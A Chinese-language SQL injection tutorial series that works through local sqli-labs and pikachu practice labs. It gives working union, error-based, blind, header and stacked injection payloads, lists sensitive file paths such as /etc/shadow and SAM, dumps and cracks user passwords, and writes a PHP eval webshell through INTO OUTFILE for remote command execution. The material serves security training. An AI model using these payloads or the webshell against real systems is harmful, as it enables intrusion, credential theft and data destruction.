SQL注入先行篇

数据库概述

关系型数据库

关系型数据库的存储结构类似表格,能够直观地反映实体之间的关系。表与表之间通常存在主键-外键、连接查询等复杂关联。

常见的关系型数据库:

  • MySQL

  • Oracle

  • PostgreSQL

  • SQL Server

非关系型数据库

NoSQL 数据库近年来发展迅速,主要用于简化数据结构、减少表连接、提升扩展性和性能。

常见的 NoSQL 数据库:

  • MongoDB

  • Redis

  • Cassandra

  • Couchbase

NoSQL 适合业务模型多变、读写性能要求高、可扩展性强的场景。

数据库排行榜:db-engines 排名

常见的数据库层级

常见 SQL 语法

1
2
3
4
5
6
7
8
9
10
SHOW DATABASES;                     -- 查询当前数据库服务器上的所有数据库
USE 数据库名; -- 选择当前数据库
SHOW TABLES; -- 查询当前数据库中的所有表
SELECT * FROM 表名; -- 查询某个表的所有数据
SELECT * FROM t1 WHERE id=2; -- 查询 t1 表中 id=2 的数据
SELECT id FROM t1 WHERE id=-1
UNION
SELECT * FROM t1 WHERE pass=111; -- UNION 合并查询,字段数量必须一致
ORDER BY 字段名; -- 排序
ORDER BY 1, 2; -- 也可以使用列序号排序

SQL 注入概述

SQL 注入是指 Web 应用程序对用户输入缺乏严格验证或过滤,导致攻击者能够在原有 SQL 语句末尾追加恶意 SQL,从而欺骗数据库执行未授权的查询或命令。

典型风险包括:

  • 数据库中的敏感信息泄露

  • 绕过身份认证

  • 数据篡改或删除

  • 服务器命令执行

MySQL 自带系统库

MySQL 启动后会创建多个系统数据库,用于存储服务器元数据、运行信息和系统配置。

information_schema 库

information_schema 是 MySQL 的信息库,保存了当前实例中所有数据库、表、列、权限等元数据信息。

渗透测试中常用的表:

  • SCHEMATA:保存当前 MySQL 实例中的所有数据库信息。

  • TABLES:保存当前数据库中所有表的元数据信息。

  • COLUMNS:保存表的列信息,包括列名、数据类型、是否可空等。

information_schema 从 MySQL 5.0 起引入,使得 SQL 注入攻击在元数据枚举方面更加高效。对于 5.0 之前的版本,通常需要使用更繁琐的盲注或暴力破解方法。

performance_schema 库

performance_schema 从 MySQL 5.5 开始提供,主要用于收集数据库服务器的性能数据。它是内存数据库,便于快速采集和分析运行指标。

mysql 库

mysql 库是 MySQL 的核心系统数据库,存储用户账户、权限、字符集、系统变量等信息。该库不应随意修改,否则可能导致 MySQL 服务异常。

sys 库

sys 库从 MySQL 5.7 开始引入,通过视图的方式将 information_schemaperformance_schema 的信息汇总,提供更易读的监控和诊断数据。

常用场景包括:

  • 查询最消耗资源的会话

  • 分析访问频率最高的表

  • 查看系统性能指标


SQL 注入基础与手工注入

主要讲解并熟悉 SQL 注入的基础流程、常用函数和注入原理。最后以 sqli-labs 第二关为例进行实战演示。

数据库数据传递逻辑

页面通常会接收用户输入,并将其拼接进 SQL 语句。

sqli-labs 第二关中,页面接收的是 id 参数:

学习 SQL 注入需要一定的编程和数据库基础,这里默认你已有相关知识。

查看第二关源码(真实渗透测试中通常看不到源码,这里仅作原理说明):

其中:

  • 第 24 行的 $_GET['id'] 表示以 GET 方式接收 id 参数。

  • 第 32 行将 id 传给 SQL 语句中的 $id

最终 SQL 语句类似:

1
SELECT * FROM users WHERE id = $id LIMIT ...

这表示:查询 users 表中 id 等于页面传入值的所有记录。* 表示查询所有列。

题外话:GET 和 POST 提交方式的区别是基础知识,可以补充学习。

SQL 注入流程

  1. 判断注入点
  2. 猜解列数量(ORDER BY
  3. 报错猜解,判断回显点
  4. 信息收集
  5. 使用 SQL 语句进行注入查询

判断注入点

判断注入点的方法很简单,例如传入:

1
id=1 AND 1=1

后台拼接为:

1
SELECT * FROM users WHERE id = 1 AND 1 = 1;

由于 1=1 恒成立,语句不会报错。如果页面返回正常,通常说明该参数存在注入点。

如果随意拼接非法字符出现报错,说明后台接收到了输入。若页面依然正常,则说明可能已被过滤或拦截。

猜解列数量:ORDER BY

ORDER BY 用于排序,后面跟数字表示按第几列排序。

例如:

1
ORDER BY 4

如果程序报错,说明当前查询只有 3 列数据。

这个步骤很重要,后续使用 UNION 查询时必须知道字段数量。

报错猜解,判断回显点

UNION 用于合并查询,关键特性:

  • 两个查询结果互不干扰

  • 两边字段数量必须一致

先用 ORDER BY 猜列数,再用 UNION 确认回显位置。

例如:

1
2
3
SELECT * FROM users WHERE id=-1
UNION
SELECT 1, 2, 3;

如果页面显示了 23,说明当前页面存在回显点,可继续注入更多内容。

23 替换成想要的数据,即可在页面中看到结果。

信息收集

常用信息收集函数:

  • version():查询数据库版本。

  • database():查询当前数据库名。

  • group_concat():合并结果,避免数据过多。

  • user():查询当前数据库用户。

如果当前用户是 root,说明权限最高。

常见系统表:

  • information_schema.SCHEMATA:记录所有数据库名。

    • 关键字段:SCHEMA_NAME
  • information_schema.TABLES:记录所有表信息。

    • 关键字段:TABLE_NAME
    • 关键字段:TABLE_SCHEMA(指定数据库)
  • information_schema.COLUMNS:记录列信息。

    • 关键字段:COLUMN_NAME

新手口诀

1
2
3
4
1、查库用 SCHEMATA,字段就记 SCHEMA_NAME
2、查表用 TABLES,字段 TABLE_SCHEMA(库)+ TABLE_NAME(表)
3、查字段用 COLUMNS,字段 COLUMN_NAME 是核心
4、系统库只认 information_schema,其他全忽略

图表法

目标 系统表名 核心字段 记忆点
查数据库 SCHEMATA SCHEMA_NAME 库名
查表 TABLES TABLE_NAME 表名
查字段 COLUMNS COLUMN_NAME 字段名

使用 SQL 语句进行注入查询

获取目标数据库、表名和字段名后,就可以做最终注入查询:

1
2
3
4
5
6
SELECT * FROM users WHERE id=-1
UNION
SELECT 1, 2, (
SELECT GROUP_CONCAT(username,0x7e,password)
FROM users
);

其中 0x7e~ 的十六进制表示,用于分隔查询结果。

实战

以 sqli-labs 第二关为例

查询数据库版本

获得数据库版本:5.7.26

查询数据库名

获得当前数据库名:security

查询当前数据库的所有表名

如果 TABLE_SCHEMA 返回异常,可改用 database()

也可以将数据库名 security 转为十六进制:

1
0x7365637572697479

再进行查询。

获得 security 库中的表:emails, referers, uagents, users

查询重要表中的所有字段名

请求示例:

1
http://localhost/sqli-labs/Less-2/?id=-3 union select 1, 2, group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_SCHEMA=0x7365637572697479 and TABLE_NAME=0x7573657273

获取到 users 表中的字段:id, username, password

根据收集到的信息查询 users 表数据

手工注入总结

手工注入的基本步骤就是这样。虽然现在已有自动化工具 sqlmap,但手工注入流程仍是理解 SQL 注入、防护和绕过的基础。

后续还可以继续学习:

  • 报错注入

  • 延时注入

  • 布尔盲注

  • WAF 绕过

地基要打牢,才能更好地使用工具和分析防护。


SQL注入之高权限注入

数据库高权限用户

对于 MySQL 来说,只有 root 是高权限用户,或者被 root 赋予管理员权限的用户。

注意:这里所说的「用户」不是网站登录框里的用户,指的是 MySQL 中的数据库用户。

网站用户和数据库用户必须区分。

以 sqli-labs 靶场为例:

根据之前的学习,我们能拿到 sqli-labs 靶场 security 数据库 users 表中的信息。

1
http://localhost/sqli-labs/Less-2/?id=-1 union select 1, 2, (select group_concat(username,0x7e, password) from users)

这里拿到的用户都属于网站用户,不能用这些用户直接操作数据库。

我们需要的是数据库高权限用户:

1
http://localhost/sqli-labs/Less-2/?id=-1 union select 1, 2, user()

使用数据库的 user() 函数查询出的才是数据库用户,root 代表最高权限用户,又称管理员用户。

即使不是 root,也可以查看 information_schema 库中的当前数据库信息,只是不能跨库查询而已。

高权限用户的注入操作

即使是普通用户,只要存在 SQL 注入漏洞,也很危险,能拿到的信息不少。

高权限用户则有更多可操作空间。

跨库查询

查看当前数据库:

1
http://localhost/sqli-labs/Less-2/?id=-1 union select 1, 2, database()

查看所有数据库:

1
http://localhost/sqli-labs/Less-2/?id=-1 union select 1, 2, (select group_concat(SCHEMA_NAME) from information_schema.SCHEMATA)

可以查看到其他数据库的信息。下面以另一个靶场 pikachu 的数据库为例,流程相同。

因为编码问题,pikachu 转为十六进制为 0x70696b61636875

1
http://localhost/sqli-labs/Less-2/?id=-1 union select 1, 2, (select group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=0x70696b61636875)

显然 users 表更有价值,接下来读取 users 表字段,users 也转为十六进制 0x7573657273

1
http://localhost/sqli-labs/Less-2/?id=-1 union select 1, 2, (select group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_SCHEMA=0x70696b61636875 and TABLE_NAME=0x7573657273)

收集到信息后可以查询具体数据:

1
http://localhost/sqli-labs/Less-2/?id=-1 union select 1, 2, (select group_concat(username, ':', password, ':', level) from pikachu.users)

这里以 , 分割每组用户信息,以 : 分割单列信息,与之前的 ~ 效果类似。

level 字段通常用于权限控制,也可以查看。

这里的 password 字段是加密后的,需要进一步破解,例如用 hashcat

在这个示例中,密码采用 MD5 加密,可以直接使用在线 MD5 解密网站,例如 https://www.somd5.com,破解后 admin 用户的密码为 123456

如果通过其他方法确认当前服务器能访问到 pikachu 网站,那么就相当于通过一个网站拿下了另一个网站,而且这还是管理员权限。

当然这只是示例,真实环境通常更复杂,后续除了基础注入手法,还有绕过安全防护的方法。

以下为 pikachu 靶场截图,点击下载

这个靶场也很适合练手。

文件读写

原理

文件读写的原理很简单:利用 MySQL 数据库的读写文件权限,向服务器写一句话木马,或读取服务器中的敏感文件。

条件

  1. 高权限用户 root
  2. MySQL 的 secure_file_priv 限制了文件读写权限
1
2
3
4
5
6
7
8
9
10
11
secure_file_priv = NULL
含义:完全禁止文件读写(最严)
注入影响:`LOAD_FILE()`、`INTO OUTFILE` 直接报错,读不了、写不了。

secure_file_priv = ''(空字符串)
含义:不限制目录(高危,老环境常见)
注入影响:如果有 `FILE` 权限 + 知道网站绝对路径,可以直接 `INTO OUTFILE` 写 webshell。

secure_file_priv = '/var/lib/MySQL-files/'(某目录)
含义:只能在这个目录下读写
注入影响:就算有 `FILE` 权限,也只能往这个目录写,一般不是网站根目录,拿不到 webshell。

secure_file_priv 是 MySQL 的静态只读参数,运行时无法通过 SQL 注入或 SQL 命令在线修改,即使是 root 权限也不行。

所以要先判断:

1
http://localhost/sqli-labs/Less-2/?id=-1 union select 1, 2, (select @@secure_file_priv)

如果结果为 NULL,就表示不能进行文件读写。但即便如此,全库脱库、操作 mysql.user、添加或篡改数据库账号、留下后门账号等依旧很危险。

如果出现如下结果,就说明可以在任意位置进行文件读写:

读取文件

读取文件使用 LOAD_FILE() 函数。我在服务器 D 盘放了一个文件 test.txt,内容为 test:test

文件路径可以直接用单引号包裹,也可以使用十六进制或 CHAR() 转换。下面示例尝试读取该文件:

这样就能读取到文件内容。读取文件本身不难,难的是收集到足够的信息来判断哪些路径有用。

以下为一些核心敏感文件路径,建议牢记。

Linux 核心敏感文件路径

  1. 系统账号密码 / 系统配置
1
2
3
4
/etc/passwd                        # 所有系统用户、shell 权限、账号列表
/etc/shadow # 用户哈希密码(必须高权限/root 权限读取)
/etc/group # 用户组权限配置
/etc/sudoers # sudo 特权用户,提权关键
  1. 网络、域名、内网信息
1
2
3
4
5
/etc/hosts                         # 本地域名解析、内网映射、后门 hosts
/etc/resolv.conf # DNS 服务器地址,内网架构
/etc/network/interfaces # 网卡 IP、内网网段
/proc/net/arp # 内网存活主机
/proc/net/tcp # 开放端口、内网连接
  1. 服务配置(数据库 / 网站中间件)
1
2
3
4
5
6
/etc/my.cnf
/etc/mysql/my.cnf
/usr/local/mysql/my.cnf # 全量 MySQL 配置、账号密码、端口
/etc/httpd/conf/httpd.conf
/etc/nginx/nginx.conf
/usr/local/nginx/conf/nginx.conf # 中间件配置、网站绝对路径
  1. 网站源码 / 配置(重要!可查看配置文件拿后台密钥,或直接审计源码找漏洞)
1
2
3
/var/www/html/xxx/config.php
/home/wwwroot/网站目录/config.php
/var/www/conf/web.config
  1. 日志文件(留痕、路径泄露)
1
2
3
4
/var/log/messages
/var/log/secure
/var/log/nginx/access.log
/var/log/nginx/error.log

Windows 核心敏感文件路径

  1. 系统账号与关键配置
1
2
3
C:\Windows\System32\drivers\etc\hosts
C:\Windows\repair\sam # 系统账号密码哈希
C:\Windows\system32\config\sam
  1. 数据库与中间件配置
1
2
3
4
C:\ProgramData\MySQL\MySQL Server 5.7\my.ini
D:\phpStudy\MySQL\my.ini
D:\wamp\mysql\my.ini
C:\Windows\System32\inetsrv\config\applicationHost.config # IIS 配置
  1. 网站默认绝对路径
1
2
3
4
C:\inetpub\wwwroot\                    # IIS 默认根目录
D:\www\
D:\phpStudy\WWW\
E:\web\

全平台通用网站配置文件(找到了就必看)

PHP/JAVA/ASP 站点通用配置,大概率包含:数据库账号、密码、密钥、后台地址。

1
2
3
4
5
6
7
/config.php
/inc/config.php
/include/config.php
/data/config.php
/application/database.php
/web.config
/WEB-INF/web.xml

常见的路径获取方式还有:报错显示、遗留文件、漏洞报错、平台配置文件等,不过由于各种安全防护的原因,很多文件不能直接读取。

文件写入

常用函数

1
2
INTO OUTFILE                  # 能写入多行,按格式输出,用的最多
INTO DUMPFILE # 只能写入一行且没有输出格式

使用 INTO OUTFILE 向 D 盘写入一个名为 1.txt 的文件:

出现语法错误,因为后台 SQL 语句末尾还有 LIMIT 分页语句:

1
SELECT * FROM users WHERE id=-1 union select 1, 'test123', 3 into outfile 'D:/1.txt' LIMIT 0,1

将 URL 调整为注释掉后续 LIMIT

1
http://localhost/sqli-labs/Less-2/?id=-1 union select 1, 'test123', 3 into outfile 'D:/1.txt' --+

后台 SQL 语句变成:

1
SELECT * FROM users WHERE id=-1 union select 1, 'test123', 3 into outfile 'D:/1.txt' --+ LIMIT 0,1

如果没有报错,就说明成功了。

INTO OUTFILE 后面的路径只能使用单引号,不能使用十六进制或 CHAR() 转换字符。

总结

1
2
3
4
1、判断数据库用户是否高权限用户
2、低权限用户通过操作 information_schema 库查信息
3、高权限用户查询 secure_file_priv,看读写权限情况
4、有读写权限时,读取敏感文件或输出一句话木马文件,获得 webshell

写点题外话,给刚开始接触网络安全的朋友增加点兴趣。

一句话木马是最简单的木马,见名知义就是一行代码写成一个木马文件,PHP 写法为:

1
<?php @eval($_POST["hack"]);?>

hack 是木马连接密码,不同语言的一句话木马写法不同,可以自行查阅。

现在的杀毒软件与防护系统会识别木马文件,上传后可能秒删,需要绕过杀软等防护,后续再讲。

一句话木马需要连接后才能获得 webshell 权限,因此必须知道上传文件的具体位置,且该位置要能被网站直接访问。

获取网站路径的方法很多,例如查看 phpinfo() 页面、目录扫描源码、找到遗留配置文件等,后续会讲。

下面通过 SQL 注入向目标服务器写入 PHP 一句话木马,文件名为 hack.php

1
http://localhost/sqli-labs/Less-2/?id=-1 union select 1, '<?php @eval($_POST["hack"] );?>', 3 into outfile 'D:/version/php/phpstudy_pro/WWW/hack.php' --+

上传成功后,可以使用 WebShell 管理工具蚁剑 (去下载) 连接:

在空白处右击,点击“添加数据”。

填写好 URL 地址和连接密码 hack 后点击测试连接,看到绿色提示说明配置正确,点击添加。

双击新添加的数据。

会看到以下内容:

还能右击选择虚拟终端,获得远程代码执行权限。

这就是 SQL 注入中利用读写权限写入一句话木马获取 webshell 的过程。


SQL之数据类型和提交方式

SQL 注入的数据类型

数字型注入点

很多网页链接有类似结构,例如 sqli-labs 第二关:http://localhost/sqli-labs/Less-2/?id=1,一般被称为数字型注入点。

其注入点 id 类型为数字,大多数网页中,查看个人信息、查看文章,都会用到这种结构进行信息传递。

后台 SQL 语句大概为:

1
select * from 表名 where id=$id  -- $id 为占位,拼接前台 id 字段传递的数据

根据之前的实践,我们判断注入点会进行语句拼接,如下:

1
2
3
4
5
6
7
URL 拼接:
http://localhost/sqli-labs/Less-2/?id=1 and 1=1 --+ -- '--+' 为注释,将后续 SQL 语句注释掉,也可以用 '#'
http://localhost/sqli-labs/Less-2/?id=1 and 1=2 --+

后台 SQL 语句:
select * from 表名 where id=1 and 1=1 --+ LIMIT 0,1
select * from 表名 where id=1 and 1=2 --+ LIMIT 0,1

通过不同的页面反馈,判断是否存在注入点。

字符型注入点

很多网页链接有类似结构,http://xxx.com/users.php?name=admin,一般叫做字符型注入点。

其注入点 name 类型为字符型,后台语句为:

1
select * from 表名 where name='$name'

语句被引号包裹,在 SQL 语句中可以是单引号也可以是双引号,证明接收字符串类型的数据。

进行语句拼接,也要将引号进行拼接,以 sqli-labs 第一关为例:

1
2
3
4
5
6
7
URL 拼接:
http://localhost/sqli-labs/Less-1/?id=1' and 1=1 --+
http://localhost/sqli-labs/Less-1/?id=1' and 1=2 --+

后台 SQL 语句:
select * from 表名 where id='1' and 1=1 --+ LIMIT 0,1
select * from 表名 where id='1' and 1=2 --+ LIMIT 0,1

通过不同的页面反馈,判断是否存在注入点。

我们之前提到过可以随意拼接字符,报错就说明有注入点:

1
?id=1asdubgasi

但是,对于字符型的注入这个方法不行,MySQL 独特机制,会把输入的 1 后边的无用数据自动过滤。

模糊查询注入点

这是一类特殊的注入类型,这类注入主要是进行数据搜索时没过滤搜索参数。

一般在连接地址有 key=关键字,或者直接通过搜索框进行提交,后台语句为:

1
select * from 表名 where 字段名 like '%关键字%'

注入原理还是一样的,只是需要拼接的符号变多了。

以 pikachu 靶场为例,安装教程请见:https://blog.yunkun.top/archives/141bca4c.html

后台语句为:

1
select username,id,email from member where username like '%$name%'

在搜索框输入拼接语句,点击搜索:

1
y%' or 1=1 #

后台语句会变成:

1
select username,id,email from member where username like '%y%' or 1=1 #%'

拼接 and 1=1or 1=1 的区别就留给各位自行探索啦。

XX 型注入点

XX 型指 SQL 语句拼接的方式不同,如:

1
select * from member where username=('$username')

本质不变,就是进行符号拼接,只是后台程序员加了些乱七八糟的东西,如:'"%){ 等。

总结

无论什么类型的注入点,都是能进行注入攻击的,关键是判断注入点类型。

1
2
3
4
5
6
7
8
1. 拼接半个引号,单引号双引号都试试,只要报错了,就说明引号被传递后台了,存在注入点。

2. 判断注入点类型,构建 SQL 注入语句:
- 2.1. `?id=1 and 1=1` 和 `?id=1 and 1=2` 有区别就是数字型,没有就是字符型。
- 2.2. 字符型就换语句 `?id=1' and 1=1` 和 `?id=1" and 1=1` 看报错,判断 SQL 语句闭合符号。
- 2.3. 如果都报错,可能是模糊查询或 XX 型的了,有报错信息就看页面报错回显的 SQL 语句,没有报错回显,后续也会讲到新的办法。

3. 根据注入点进行数据库信息收集。

像是引号、% 这些对于有防护的网站都会被过滤掉,后续也会讲到绕过防护的方法。

SQL 注入的数据提交方式

GET 提交

GET 提交为一种很常见的提交方式,主要通过 URL 传输数据给后台,然后带到数据库中执行,注入也是在 URL 上直接注入。

例如 sqli-labs 前几关都是 GET 提交方式,可以直接在 URL 上修改注入数据,提交到后台。

POST 提交

POST 提交方式主要适用于表单的提交,用于登录框的注入。

利用 Burp Suite 抓包修改内容重放进行注入,和 GET 差别是需要抓包工具配合,返回结果主要为代码,也有页面回显的。

相关 Burp Suite 教程请移步:https://blog.yunkun.top/archives/f39b7ce2.html

以 Sqli-labs 第 11 关为例,提交一些数据,开启代理,开启拦截。

能看到提交方式为 POST,以表单提交了相关数据,我们可以对数据进行修改,然后放行。

拿到了想要的数据库信息。

因为拿数据是一个大量修改语句的过程,一直使用 Burp Suite 不方便,可以使用浏览器插件 Hackbar。

Firefox 浏览器的 hackbar 插件经常出现问题,建议使用 Google 浏览器进行实践。

安装和使用说明请移步:https://blog.yunkun.top/archives/9508da4a.html

进入 Hackbar 界面,添加 URL,打开 User POST method,添加 Body,点击 EXECUTE 提交就能看到页面回显了数据库名。

HTTP Header 注入

Header 头并不算是提交方式,只是后台开发人员为验证客户端信息的一个提交表单。

比较常用的 cookie 验证,或者通过 user-agent、accept 字段等获取一些用户信息。

客户端会获取 Header 头信息发送后台进行 SQL 处理,如果此时未进行校验,就会引起 HTTP Header 的注入漏洞。

sqli-labs 第 18 关就是 Header Injection 关卡,打开发现获取了一些客户端信息。

本关会先校验 cookie 信息,所以先使用 admin/admin 登录,也能看到本地信息。

抓包看一下,重点看是带客户端信息的字段。

将数据发送 Repeater 模块,方便重放,Repeater 模块教程参考:https://blog.yunkun.top/archives/f39b7ce2.html

不修改 POST 提交的数据信息,修改 User-Agent 头信息,采用报错注入的方式获取数据库信息。

报错注入相关教程,请参考:https://blog.yunkun.top/archives/2004793d.html

这里只是以 UA 头举例,有相同风险的 Header 头还有:Referer、Cookie、XFF(X-Forwarded-For)、Host,还有一些自定义的认证字段。


SQL注入之注入手法

查询方式

在进行 SQL 注入时,有很多注入后页面无反应的情况,也称无回显,这可能是 SQL 查询方式导致的,因此我们要先了解 SQL 的查询方式。

select 查询

SQL 中最常见的语句,核心场景为:用户登录、信息查询、列表展示、搜索功能等。

1
2
3
select * from user where name=$name LIMIT 1;

select * from user where id='1' union select 1, username, password from users --+' LIMIT 1;

危害:容易触发报错注入、联合注入、布尔盲注、时间盲注,从而引发账号密码泄露、脱库等。

update 更新

核心场景:修改密码、更新个人资料、修改订单状态、管理员后台修改数据。

1
2
3
update users set name='$name' where id ='$id'

update users set name='admin', role='admin' where id=1--+' where id='$id'

危害:可以通过越权修改任意数据,比如把普通用户改为管理员、篡改密码等。

insert 插入

核心场景:用户注册、留言板、评论区、日志记录、文件上传信息入库。

1
2
3
insert into users (username, password) values('$user', '$pass');

insert into users (username, password) values('admin', '123456'),('hack','pass')--+','$pass');

危害:可以绕过注册,直接插入管理员账号,植入恶意代码,批量插入垃圾数据等。

delete 删除

核心场景:删除评论、删除订单、注销账号、管理员删除数据。

1
2
3
delete from users where id='$id'

delete from users where id='1' drop table test--+';

危害:删表、删库、清空数据、删除核心用户表,使网站彻底瘫痪等。

报错注入

针对获取的数据不能回显到前端页面,我们可以利用一些方法使页面强制报错回显,称为报错注入。

updatexml

updatexml() 从目标 XML 中更改包含所查询的字符串,该函数有三个参数:

  • updatexml(XML_document, XPath_string, new_value)
      1. XML_document 是 String 类型,为 XML 文档对象名称。
      1. XPath_string(Xpath 格式字符串)。
      1. new_value,String 类型,替换查找到的符合条件的数据。

XPath_string 参数出现错误时就会报错,以 sqli-labs 第 11 关为例:

1
' or updatexml(1, concat(0x7e, (select database()), 0x7e), 3) #

extractvalue

extractvalue() 从目标中返回查询的字符串,该函数有两个参数:

  • extractvalue(XML_document, XPath_String)
      1. XML_document 是 String 类型,为 XML 文档对象名称。
      1. XPath_string(Xpath 格式字符串)。

updatexml() 用法一致,当 XPath_string 参数出现错误时就会报错,以 sqli-labs 第 11 关为例:

1
2
3
admin' or extractvalue(1, concat(0x7e, (version), 0x7e)) or'

' or extractvalue(1, concat(0x7e, (version()), 0x7e)) #

floor

floor() 报错的原理是 group by 在向临时表中插入数据时,由于 rand() 多次计算导致插入临时表时主键重复,从而报错,报错前的 SQL 语句或函数会被先执行,从而使语句报错时抛出的主键是 SQL 语句执行后的结果。

一句话来说就是 floor(rand(0)*2) 在配合 group by 分组统计时,会产生主键重复冲突,触发 MySQL 报错,同时报错信息中会带出拼接的结果。

不理解也没关系,floor 的报错语句,严格来说是固定的,不可修改,且在 MySQL 8.0 以上版本已经完全失效。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
-- 爆数据库版本
?id=1' and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

-- 爆出当前数据库
?id=1' and (select 1 from (select concat((select database()),floor(rand(0)*2))x,count(*) from information_schema.tables group by x)c)--+

-- 爆出所有的数据库 通过 limit 来控制
?id=1' and (select 1 from (select concat((select schema_name from information_schema.schemata limit 4,1),ceil(rand(0)*2))x,count(*) from information_schema.tables group by x)c)--+

-- 爆出表名
?id=1' and (select 1 from (select concat((select table_name from information_schema.tables where table_schema=database() limit 0,1),ceil(rand(0)*2))x,count(*) from information_schema.tables group by x)c)--+

-- 爆出字段
?id=1' and (select 1 from (select concat((select column_name from information_schema.columns where table_name='user' limit 0,1),ceil(rand(0)*2))x,count(*) from information_schema.tables group by x)c)--+

-- 爆出数据
?id=1' and (select 1 from (select concat((select username from users limit 0,1),ceil(rand(0)*2))x,count(*) from information_schema.tables group by x)c)--+

延时注入

当页面输入数据无论正确与否,都毫无差别时,使用延时注入的方法。

常用函数

1
2
3
4
5
6
7
8
9
10
11
12
13
sleep()                                          -- sleep 函数可以使计算机程序(进程,任务或线程)进入休眠

if() -- if 是计算机编程语言一个关键字,分支结构的一种

length(database())=8 -- 判断长度

mid(a, b, c) -- 从 b 开始,截取 a 字符串的 c 位,可以截取数组之类的

substr(a, b, c) -- 从 b 开始,截取字符串 a 的 c 长度,只能截取字符串

left(a, b) -- left(a,b) 从左侧截取 a 的前 b 位

ord/ascii -- 判断 ascii 值,防止编码或引号被转义的问题

以 sqli-labs 第 9 关为例,演示流程,sleep() 函数的效果就是页面一直刷新,刷新几秒之后再响应。

1
2
3
1. 判断数据库名长度

2. 按位截取数据库名每一位字母进行判断
1
2
3
?id=1' and sleep(if(length(database())=8, 3, 0)) --+              -- 数据库名长度为 8,页面休眠 3 秒,否则无休眠

?id=1' and sleep(if(ord(mid(database(),1,1))=115, 3, 0)) --+ -- 依次判断字母,要截取 8 次,判断 8 次

其实并不推荐延时注入的方法,页面的响应受很多因素影响,最简单的网速就可能使页面响应很久。

布尔盲注

Web 页面仅仅会返回 True 和 False,布尔盲注就是根据页面返回的 True 或 False 来获得数据库信息。

Sqli-labs 第 5 关,返回 True 时:

返回 False 时:

既然页面会返回 True 和 False 就相当于自带了 if 语句,语句就变得简单一点了。

1
2
3
?id=1' and length(database())=8 --+                             -- 判断数据库名长度

?id=1' and ascii(mid(database(),1,1))=115 --+ -- 判断第一个字母 ascii 是否为 115(是否为 's')

加解密

网络中进行数据传输基本都要进行加密,其中 Base64 是最常用的加密方式。

sqli-labs 第 21 关,针对 cookie 加密注入,admin/admin 登录后,抓包查看到 cookie 字段加密。

将字符串复制,使用 Burp Suite 自带的解密模块 Decoder 进行解密,%3D 代表 ‘=’。

将一条报错注入语句进行 Base64 加密:

1
admin' or extractvalue(1, concat(0x7e, (database()), 0x7e)) or'

将数据包发送 Repeater 模块,将加密过的语句进行拼接。

拿到了想要查询的数据。

堆叠注入

在 SQL 语句中,; 是用来表示一条语句的结束,如果我们拼接了 ; ,再加一条新语句,就能执行想执行的任意语句了。

以 Sqli-labs 第 38 关为例,我们插入一条数据:

页面并不会回显,我们直接进行数据查询: